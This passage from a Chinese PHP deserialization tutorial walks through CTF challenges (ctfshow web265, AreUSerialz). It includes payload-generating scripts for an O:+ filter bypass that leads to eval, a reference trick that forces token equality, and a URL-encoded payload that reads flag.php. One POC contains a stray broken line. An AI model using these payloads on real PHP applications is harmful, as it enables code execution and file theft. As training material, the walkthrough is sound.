    $user->login($username,$password);  
    }  
    
    可见增加了过滤,过滤例如如下o:123:、c:456:
    
    s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo()

    正常反序列化肯定会有o和c这种

    如果O:后面不跟数字的话就可以把这个绕过去了

    这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的

    这里把O:后面加上一个加号

    <?php  
    
    error_reporting(0);  
    highlight_file(__FILE__);  
    
    class ctfShowUser{  
    public $username='xxxxxx';  
    public $password='xxxxxx';  
    public $isVip=false;  
    public $class = 'info';  
    
    public function __construct(){  
    $this->class=new backDoor();  
    }  
    public function __destruct(){  
    $this->class->getInfo();  
    }  
    
    }  
    
    class backDoor{  
    public $code="phpinfo();";  
    public function getInfo(){  
    eval($this->code);  
    }  
    }  
    
    $a=new ctfShowUser();  
    //echo urlencode(serialize($a));  
    $a=serialize($a);  
    $a=preg_replace('/[oc]+:/i','O:+',$a);  
    echo urlencode($a);

    19.png

    利用&使两值恒等

    题目ctfshow web265

    <?php  
    
    error_reporting(0);  
    include('flag.php');  
    highlight_file(__FILE__);  
    class ctfshowAdmin{  
    public $token;  
    public $password;  
    
    public function __construct($t,$p){  
    $this->token=$t;  
    $this->password = $p;  
    }  
    public function login(){  
    return $this->token===$this->password;  
    }  
    }  
    
    $ctfshow = unserialize($_GET['ctfshow']);  
    $ctfshow->token=md5(mt_rand());  
    
    if($ctfshow->login()){  
    echo $flag;  
    }
    
    $ctfshow->login()这个成立才给flag
    
    $ctfshow->token=md5(mt_rand());但是这个是随机的

    这个题考察php按地址传参

    <?php  
    $a='11';  
    $b=&$a;  
    $b=1;  
    echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化  
    //1

    所以我们可以直接这样

    <?php  
    class ctfshowAdmin{  
    public $token;  
    public $password;  
    public function __construct(){  
    $this->password = &$this->token;  
    }  
    }  
    $a=new ctfshowAdmin();  
    echo ( urlencode(serialize($a)));

    php7.1+反序列化对类属性不敏感

    题目来自[网鼎杯 2020 青龙组]AreUSerialz

    <?php  
    
    include("flag.php");  
    
    highlight_file(__FILE__);  
    
    class FileHandler {  
    
    protected $op;  
    protected $filename;  
    protected $content;  
    
    function __construct() {  
    $op = "1";  
    $filename = "/tmp/tmpfile";  
    $content = "Hello World!";  
    $this->process();  
    }  
    
    public function process() {  
    if($this->op == "1") {  
    $this->write();  
    } else if($this->op == "2") {  
    $res = $this->read();  
    $this->output($res);  
    } else {  
    $this->output("Bad Hacker!");  
    }  
    }  
    
    private function write() {  
    if(isset($this->filename) && isset($this->content)) {  
    if(strlen((string)$this->content) > 100) {  
    $this->output("Too long!");  
    die();  
    }  
    $res = file_put_contents($this->filename, $this->content);  
    if($res) $this->output("Successful!");  
    else $this->output("Failed!");  
    } else {  
    $this->output("Failed!");  
    }  
    }  
    
    private function read() {  
    $res = "";  
    if(isset($this->filename)) {  
    $res = file_get_contents($this->filename);  
    }  
    return $res;  
    }  
    
    private function output($s) {  
    echo "[Result]: <br>";  
    echo $s;  
    }  
    
    function __destruct() {  
    if($this->op === "2")  
    $this->op = "1";  
    $this->content = "";  
    $this->process();  
    }  
    
    }  
    
    function is_valid($s) {  
    for($i = 0; $i < strlen($s); $i++)  
    if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))  
    return false;  
    return true;  
    }  
    
    if(isset($_GET{'str'})) {  
    
    $str = (string)$_GET['str'];  
    if(is_valid($str)) {  
    $obj = unserialize($str);  
    }  
    
    }

    看着很多,其实没什么东西,

    关键要利用到这里

    大致看了write函数或者read函数,都可以尝试利用得到flag

    但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数

    __destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法

    接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被

    is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性

    因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

    POC如下

    <?php  
    
    class FileHandler {  
    
    public $op=2;  
    public $filename="flag.php";  
    public $content="111";  
    pr  
    }  
    
    $a = new FileHandler();  
    
    echo urlencode(serialize($a));  
    
    ?>
    
    payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D

    推荐学习:《PHP视频教程

    以上就是PHP反序列化入门总结(小白必看)的详细内容,更多请关注php中文网其它相关文章!

    声明:本文转载于:合天网安实验室,如有侵犯,请联系admin@php.cn删除
    专题推荐:反序列化 php
    上一篇:一文详解PHP用流方式实现下载文件(附代码示例) 下一篇:自己动手写 PHP MVC 框架(40节精讲/巨细/新人进阶必看)

    相关文章推荐

    • hbuilder写php代码没有提示怎么办• php字符串布尔型是什么• php字符串分割失败怎么办• php字符串部分乱码怎么办• PHP安全编码总结(经验分享)
    1/1

    PHP中文网